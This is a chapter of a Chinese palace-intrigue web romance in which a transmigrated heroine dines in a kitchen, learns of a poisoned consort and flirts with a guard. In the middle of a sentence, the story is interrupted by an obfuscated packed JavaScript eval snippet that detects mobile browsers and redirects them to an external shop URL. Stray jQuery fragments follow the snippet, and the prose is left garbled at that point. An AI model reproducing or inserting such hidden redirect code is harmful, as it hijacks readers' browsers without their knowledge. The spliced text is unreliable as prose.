5. 智慧树上有智慧果

作品:《我靠杨枝甘露发家致富

    “侧少夫人,少主吩咐让御膳房送来的食材已放至后厨。”胡硕找到在院中独自散步的程扬知,“老奴带您去吧。”


    “这么快!”程扬知欣喜地蹦跳过去,想来这些道具应该都是陆晓茵提前给她准备好的。


    她跟在胡硕身后,穿过一条弯弯绕绕的石板路,未见其房先闻其味,饭菜香引得她胃里一阵咕噜声。


    “侧少夫人,您不曾用膳吗?”胡硕停下脚步,目光落在程扬知肚子上。


    “到饭点了吗?”程扬知人还在原地,魂已经飘进厨房。


    昨日忙于成亲拜堂之事,仅几块糕点下肚,若是此时胡硕不过问,她都快忘了自己早已饿得前胸贴后背。


    “少主以为您不愿同他一起用膳,特命人将饭菜送至您房前。”胡硕迂回解释,“后厨仍有菜品,若是侧少夫人不嫌弃……”


    “不嫌弃不嫌弃!”现在就是给她一碗白粥她也会觉得香,“对了胡总管,七少主他,平时很忙吗?”


    “啊,少主平时须修习政事、书法、棋艺、武术、射击……”胡硕正给程扬知一一说明,却不小心说漏了嘴。


    “武术?射击?”程扬知险些没瞧见后厨的门槛,扶着门框站稳,“你们家少主路都走不明白,怎么练这些?”


    “呃……”胡硕佝着上半身,正思考如何搪塞她,就听见后厨尚食与她打招呼。


    “侧少夫人。”


    胡硕抓住机会转移程扬知的注意力:“这位是掌管七少主院膳的马尚食,马腊堂。”


    “噗——”程扬知这下是真绷不住了,“麻辣烫?你们取名要不要这么随意啊?”


    马腊堂含笑微躬,把站在一旁的下手拉过来:“这位是后厨打杂的,叫黄门吉。”


    这简直就是憋笑挑战,到底是谁取的名,又是麻辣烫又是黄焖鸡。


    “你们好。”程扬知用力抿唇,压住笑意,“以后还请各位多关照。”


    “客气客气,那老奴先带侧少夫人去用膳?”胡硕抬手示意马腊堂和黄门吉把饭菜端去用膳厅。


    还不等他们动身,程扬知便上前阻拦:“欸不用不用,太麻烦了,我在这儿吃就行,正好吃饱了就能直接干活儿。”


    “这……”马腊堂从未见过有主子愿意在厨房用膳,一时之间不知该不该听命。


    胡硕来之前听了七少主的嘱咐,说是侧少夫人想做何事便让她去做,切勿阻拦。


    “好吧,那侧少夫人您慢用。”胡硕招呼他俩一同离开。


    后厨不大,麻雀虽小五脏俱全,青石板地面干净整洁,四壁以砖石砌成,经长年累月火燎烟熏,稍显斑驳;厨房中心是由泥砖砌成的灶台,上面架着几口大小不一的铁锅,灶下烧柴口边有明显锅烟墨;厨房一角,各式各样的新鲜蔬菜和肉类被放置在竹篮或木盆中,旁边一列陶罐,装着油、盐、酱、醋等调味品;墙上挂着一排刀具,锋利而整齐。


    程扬知想要的芒果、椰子、木薯和退而求其次的柚子被整齐摆放在灶台边,她一边端着碗吃饭一边回忆那个制作杨枝甘露的教学视频。


    她眼神不自觉瞟到门口槛阶上,昨夜见了七少主,才发现这院子里大多数房前都不设门槛。也不知道是造景细节出了问题还是七少主压根不来后厨,否则他那个轮椅该怎么过。


    没有手机的日子,时间也变得悠长,却意外不觉无聊,这饭也吃得津津有味。


    从前她可是不看点狗血言情剧就吃不下饭的人。


    “这豉油蒸鱼怎么做的?比陆晓茵厨艺还好。”程扬知嘴里塞满了菜还嘟囔不停,一日未见她对自己这位嫡长闺还甚是想念。


    “她怎么不来陪我玩呀,明明是她说我没了她就有上顿没下顿的,这下好了,饭都在厨房吃。”程扬知一个人自言自语,全然不知这后厨有他人踏入。


    “等我回去了,定要同她说——”她晃悠回身才发现凌延川站在她身后,吓得碗筷都拿不稳,“——呃啊喔吼!”


    还给她吓出一句凤凰传奇喊麦。


    凌延川仍是一袭黑衣,伸手虚扶在她身侧,以免她站不稳:“夫人喜欢在后厨用膳?”


    “我哪有?”程扬知狡辩,嘴角忍不住上扬,“你怎么在这儿?厨房饭菜需要人守卫吗?”


    他把手收回,轻车熟路地拿出一副干净碗筷:“来觅食。”


    “噗。”程扬知莫名发笑,有人陪吃饭自然是开心,有帅哥陪吃饭那是加倍开心。


    更重要的是,这再次印证了他和她一样是玩家并非NPC的“事实”。


    “我还以为到点吃饭他们会通知的。”程扬知没头没尾地开口,还不忘往嘴里扒饭。


    凌延川看上去并不像程扬知这样饿得能吞一头牛,慢条斯理地夹菜:“夫人是因无人前去知会,才不与少主共膳的吗?”


    我说牛头你问马嘴,程扬知尴尬咽下嘴里饭菜:“换个话题,你知道的应该比我多吧?”


    “比如说?”凌延川眯起眼睛打量她,似是期待她又想演什么好戏。


    程扬知哪有什么心思,不过是心里没底想找个搭子问问剧情。


    “七少主这院里,可曾有人离世?”她本想委婉一句“驾鹤西去”,想来这般做作不是她的画风。


    凌延川神色一暗:“你问这作甚?”


    “我……”程扬知健康成长到今日,说明具备一定察言观色的本事,“无意冒犯,我就是……”


    可面前这名侍卫并不打算放过她,目光凌厉,好似将她剐了万千刀,不知道的还以为她是这个剧本杀游戏里的真凶。


    “我就是觉得这院子里氛围不对劲。”程扬知胡诌一句,试图撒娇蒙混,抬眸使出杀手锏上目线攻击。


    “你好凶。”


    凌延川闻言竟有一瞬错愕,目色随即淡如柔水:“夫人觉察有何异常?”


    程扬知轻挑眉头,故作沉思,实则腹诽一句:“剧本杀里死人是标配,玩不明白就是你不配!”


    “近日倒是安宁,但夫人若好奇自七少主出生院里以来可曾有人遇害……”


    凌延川仗着身高优势,靠坐在高度高于程扬知腰际的灶台边,放下本就没怎么使用的碗筷,双臂环于胸前。


    程扬知注意到他的用词是“遇害”,意味着他知晓死者并非自杀,说明他手里剧本上的信息不少!她也不舍地将碗筷放好,站在他旁边侧身面向他,像个认真听讲的学生。


    “七少主的生母,元妃,在他十六岁生辰时遭人陷害中毒,遍身红疹、喉肿窒息,可帝君不允仵作查验,便命人将元妃安葬。如今,无人知晓元妃是死于谁手,又是因何而死。”


    他娓娓道来的样子倒让程扬知误会成是背台词。


    如此看来主线任务便已明了,查明元妃死因并找出凶手。


    难怪安排她嫁给七少主呢,原来剧情走到这份上才算步入正轨。


    程扬知轻声叹气,她向来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162039|150417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同理心强,小说看到女主被虐都会抱着手机哭得稀里哗啦,更别说现在如此沉浸的戏剧内容。


    “七少主一定很不好受吧。”她视线低垂,眼睫阴翳下都好似蒙上了悲伤。


    她不难想象,七少主的腿伤背后可能也藏着令人哀叹的故事。


    凌延川对她这反应很是惊讶,甚至不可置信:“夫人是在难过吗?”


    还以为他在嘲笑自己太过入戏,程扬知敛起愁容:“不可以吗?”


    “属下只是好奇夫人为何难过。”凌延川语气平淡,好似方才陈述之事与他无关。


    程扬知还未想好从何解释自己与生俱来的高度共情能力,就听见凌延川再度发问:“夫人是否因在乎七少主而生出忧思?”


    怎么感觉他话里有话?程扬知眉头一皱,脑子里蹦出歪主意。


    她故意斜倾身体,肩头抵着凌延川的右臂,仰头用打量的目光将他面容描绘,最后视线落于他唇角。


    “你想要什么答案?”她压着声线,似是暧昧耳语。


    凌延川似笑非笑,侧头接住她赤裸目光,没有回答。


    “如若我并非在乎他,你又当……”程扬知话音未落,后厨外传来阵阵脚步声。


    她不知为何有种被“捉奸”的心虚感,凌延川正好背对后厨门口,她干脆把他当成人墙,二话不说躲进人怀里。


    想来凌延川宽厚的胸膛遮下她这个身高不过五尺的女子当是绰绰有余,她倒也不要面,贴于他腹上的手还忍不住隔着衣物揩油一把。


    凌延川在她不由分说钻进自己怀里前就下意识把环抱在胸前的手放下,白给了她可乘之机,任由她像一只热烘烘的小兔子不停拱呀拱。


    厨房门外的交谈声和脚步声渐远,凌延川干脆伸手横在程扬知腰后,翻身用力一揽,把她抵在了灶台边。


    程扬知险些以为这世界天翻地覆,站稳脚跟后才发现自己已被凌延川困于双臂之间。


    “夫人莫要失了分寸。”凌延川恶人后告状。


    她不但没有生气,反而对现下处境甚是满意,抬手搭在凌延川肩上慢慢向上攀,抚至他脑后用力下压,彼此的鼻尖堪堪触碰。


    “你又不怕。”程扬知眼眸清亮,盈着一汪春水。


    她明白这是戏,却也甘愿演下去,若是放着面前这张可遇不可求的脸不下手,她后半辈子都会怨自己有眼无珠。


    凌延川两手撑在灶台上,以他的力气,想要退离并非不易。


    他轻勾唇角,温热鼻息交织进彼此呼吸里,程扬知的一举一动在他看来都甚是有趣。


    “夫人想作甚,不妨说与属下听。”


    程扬知微仰着头,白皙的肩颈线在凌延川的视角里一览无余。


    “我想做什么你都同意吗?”


    凌延川眸色似蒙了一层雾,叫人猜不透心绪。


    “尽我所能。”


    气氛既已烘托至此,不加个微信说不过去吧?程扬知上半身微微向后倒,拉开他们之间的距离,把右手摊在凌延川面前:“绿泡泡。”


    “什么?”凌延川蹙起的眉头怎么看都不像演的。


    程扬知这一生放纵不羁爱自由,钓鱼从未脱过钩,现如今当真出现了她搞不定的男人。


    她见好好的氛围早已破散,也顺势摆烂,一边做鬼脸一边跳手势舞——


    ——“智慧树上智慧果,智慧树下你和我,智慧树前做游戏,欢乐多又多。”